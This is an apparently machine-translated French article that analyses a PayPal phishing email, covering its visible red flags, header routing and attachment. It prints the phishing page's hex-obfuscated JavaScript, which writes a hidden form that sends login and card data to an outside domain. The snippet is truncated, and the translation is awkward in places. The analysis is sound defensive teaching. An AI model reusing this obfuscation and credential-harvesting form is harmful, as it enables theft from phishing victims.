Sécurité en ligne briser l'anatomie d'un courrier électronique de phishing

Dans le monde d'aujourd'hui où toutes les informations sont en ligne, le phishing est l'une des attaques en ligne les plus répandues et les plus dévastatrices, car vous pouvez toujours nettoyer un virus, mais si vos coordonnées bancaires sont volées, vous êtes en difficulté. Voici une ventilation d'une telle attaque que nous avons reçue.

Ne croyez pas que ce sont uniquement vos coordonnées bancaires qui importent: après tout, si une personne acquiert le contrôle de votre compte, elle ne connaît pas seulement les informations contenues dans ce compte, mais il y a de fortes chances que les mêmes informations de connexion soient utilisées comptes. Et s’ils compromettent votre compte de messagerie, ils peuvent réinitialiser tous vos autres mots de passe..

Donc, en plus de garder des mots de passe forts et variables, vous devez toujours être à l'affût des faux emails qui se font passer pour des vrais. Bien que la plupart des tentatives de phishing soient de nature amateur, certaines sont assez convaincantes. Il est donc important de comprendre comment les reconnaître au niveau de la surface et comment elles fonctionnent sous le capot..

Image par asirap

Examiner ce qui est à la vue

Notre exemple de courrier électronique, comme la plupart des tentatives de phishing, vous "informe" de toute activité sur votre compte PayPal qui, dans des circonstances normales, serait alarmante. L'appel à l'action consiste donc à vérifier / restaurer votre compte en soumettant à peu près toutes les informations personnelles auxquelles vous pouvez penser. Encore une fois, c'est jolie formule.

Il existe certes des exceptions, mais presque tous les courriels de phishing et d'arnaques sont chargés avec des drapeaux rouges directement dans le message. Même si le texte est convaincant, vous pouvez généralement trouver de nombreuses erreurs dans le corps du message qui indiquent que le message n'est pas légitime..

Le corps du message

À première vue, c’est l’un des meilleurs emails de phishing que j’ai vu. Il n'y a pas de fautes d'orthographe ou de grammaire et le verbiage se lit selon vos attentes. Cependant, il y a quelques drapeaux rouges que vous pouvez voir lorsque vous examinez le contenu d'un peu plus près.

"Paypal" - Le cas correct est "PayPal" (majuscule P). Vous pouvez voir que les deux variantes sont utilisées dans le message. Les entreprises sont très délibérées avec leur image de marque, il est donc douteux qu'une telle chose réussisse le processus de vérification..
“Autorisez ActiveX” - Combien de fois avez-vous vu une entreprise Web légitime, de la taille de Paypal, utiliser un composant propriétaire qui ne fonctionne que sur un seul navigateur, en particulier lorsqu'il prend en charge plusieurs navigateurs? Bien sûr, quelque part là-bas une entreprise le fait, mais c'est un drapeau rouge.
“Solidement.” - Notez que ce mot ne s'aligne pas dans la marge avec le reste du texte du paragraphe. Même si j'étire un peu plus la fenêtre, elle ne s'emballe pas ou ne s'espace pas correctement.
"Paypal!" - L'espace avant le point d'exclamation semble gênant. Juste une autre bizarrerie qui, j'en suis sûre, ne serait pas dans un email légitime.
"PayPal- Account Update Form.pdf.htm" - Pourquoi PayPal attacherait-il un "PDF", en particulier lorsqu'il pouvait simplement créer un lien vers une page de son site? De plus, pourquoi voudraient-ils essayer de déguiser un fichier HTML en PDF? C'est le plus grand drapeau rouge de tous.

L'en-tête du message

Lorsque vous consultez l'en-tête du message, deux autres drapeaux rouges apparaissent:

L'adresse de départ est [email protected].
L'adresse est manquante. Je ne l'ai pas effacé, cela ne fait tout simplement pas partie de l'en-tête de message standard. En règle générale, une entreprise portant votre nom personnalisera le courrier électronique..

L'attachement

Lorsque j'ouvre la pièce jointe, vous pouvez voir immédiatement que la mise en page n'est pas correcte car il manque des informations de style. Encore une fois, pourquoi PayPal enverrait-il par courrier électronique un formulaire HTML alors qu’il pourrait simplement vous donner un lien sur son site??

Remarque: Pour cela, nous avons utilisé la visionneuse de pièces jointes HTML intégrée à Gmail, mais nous vous recommandons de NE PAS OUVRIR les pièces jointes des arnaqueurs. Jamais. Déjà. Ils contiennent très souvent des exploits qui vont installer des chevaux de Troie sur votre PC pour voler les informations de votre compte..

En descendant un peu plus, vous pouvez voir que ce formulaire demande non seulement nos informations de connexion PayPal, mais également des informations bancaires et de carte de crédit. Certaines images sont cassées.

Il est évident que cette tentative de phishing vise tout d'un seul coup..

La panne technique

Il devrait être assez clair, compte tenu de ce qui est en vue, qu'il s'agit d'une tentative de phishing, nous allons maintenant décomposer la composition technique de l'e-mail et voir ce que nous pouvons trouver..

Informations de la pièce jointe

La première chose à regarder est la source HTML du formulaire de pièce jointe qui est ce qui soumet les données au faux site.

Lors de la visualisation rapide de la source, tous les liens apparaissent comme valides car ils pointent vers «paypal.com» ou «paypalobjects.com», qui sont tous deux légitimes..

Nous allons maintenant examiner quelques informations de base sur la page que Firefox rassemble sur la page..

Comme vous pouvez le constater, certains graphiques sont extraits des domaines "blessedtobe.com", "goodhealthpharmacy.com" et "pic-upload.de" au lieu des domaines légitimes de PayPal..

Informations provenant des en-têtes de courrier électronique

Ensuite, nous examinerons les en-têtes de messages bruts. Gmail le rend disponible via l'option de menu Afficher l'original du message..

En regardant les informations d'en-tête du message d'origine, vous pouvez voir que ce message a été composé à l'aide d'Outlook Express 6. Je doute que PayPal compte sur un membre du personnel qui envoie chacun de ces messages manuellement via un client de messagerie obsolète.

Maintenant, en regardant les informations de routage, nous pouvons voir l'adresse IP de l'expéditeur et du serveur de messagerie relais.

L'adresse IP «Utilisateur» est l'expéditeur d'origine. En faisant une recherche rapide sur les informations IP, nous pouvons voir que l'adresse IP d'envoi est en Allemagne.

Et lorsque nous regardons l'adresse du serveur de messagerie relais (mail.itak.at), nous pouvons voir qu'il s'agit d'un fournisseur de services Internet basé en Autriche. Je doute que PayPal achemine ses e-mails directement par l'intermédiaire d'un fournisseur de services Internet basé en Autriche lorsqu'il dispose d'une énorme batterie de serveurs capable de gérer facilement cette tâche..

Où vont les données?

Nous avons donc clairement déterminé qu'il s'agissait d'un courrier électronique d'hameçonnage et avons recueilli des informations sur l'origine du message, mais qu'en est-il de l'endroit où vos données sont envoyées??

Pour voir cela, nous devons d’abord enregistrer la pièce jointe HTM dans notre bureau et l’ouvrir dans un éditeur de texte. En le parcourant, tout semble en ordre, sauf lorsque nous arrivons à un bloc Javascript suspect..

En décomposant la source complète du dernier bloc de Javascript, nous voyons:

// Copyright © 2005 Voormedia - WWW.VOORMEDIA.COM
var i, y, x = » 3c666f726d206e616d653d226d61696e222069643d226d61696e22206d6574686f643d22706f73742220616374696f6e3d22687474703a2f2f7777772e646578706f737572652e6e65742f6262732f646174612f7665726966792e706870223e »; y = »; for (i = 0; i

Chaque fois que vous voyez une grande chaîne enchevêtrée de lettres et de chiffres apparemment aléatoires incorporés dans un bloc Javascript, c'est généralement quelque chose de suspect. En regardant le code, la variable "x" est définie sur cette grande chaîne puis décodée dans la variable "y". Le résultat final de la variable «y» est ensuite écrit dans le document au format HTML..

Comme la grande chaîne est composée des nombres 0 à 9 et des lettres a-f, elle est probablement encodée via une simple conversion ASCII en Hex:

3c666f7266

Se traduit par:

Ce n'est pas un hasard si cela décode en une balise de formulaire HTML valide qui envoie les résultats non pas à PayPal, mais à un site non fiable..

De plus, lorsque vous affichez la source HTML du formulaire, vous constaterez que cette balise de formulaire n'est pas visible car elle est générée de manière dynamique via le code Javascript. C'est un moyen astucieux de masquer ce que fait le code HTML si quelqu'un visualisait simplement la source générée de la pièce jointe (comme nous l'avons fait précédemment), par opposition à l'ouverture de la pièce jointe directement dans un éditeur de texte.

En exécutant un whois rapide sur le site incriminé, nous pouvons voir qu'il s'agit d'un domaine hébergé sur un hôte Web populaire, 1and1.

Ce qui ressort est que le domaine utilise un nom lisible (par opposition à quelque chose comme «dfh3sjhskjhw.net») et que le domaine est enregistré depuis 4 ans. Pour cette raison, je pense que ce domaine a été détourné et utilisé comme un pion dans cette tentative de phishing..

Le cynisme est une bonne défense

Pour rester en sécurité en ligne, il est toujours bon d'avoir un peu de cynisme..

Bien que je sois certain que l'exemple de courrier électronique comporte davantage de drapeaux rouges, nous avons signalé ci-dessus des indicateurs que nous avons vus après quelques minutes d'examen. En théorie, si le niveau de surface du courrier électronique imitait à 100% sa contrepartie légitime, l’analyse technique révélerait tout de même sa véritable nature. C’est pourquoi il est important de pouvoir examiner à la fois ce que vous pouvez et ne pouvez pas voir..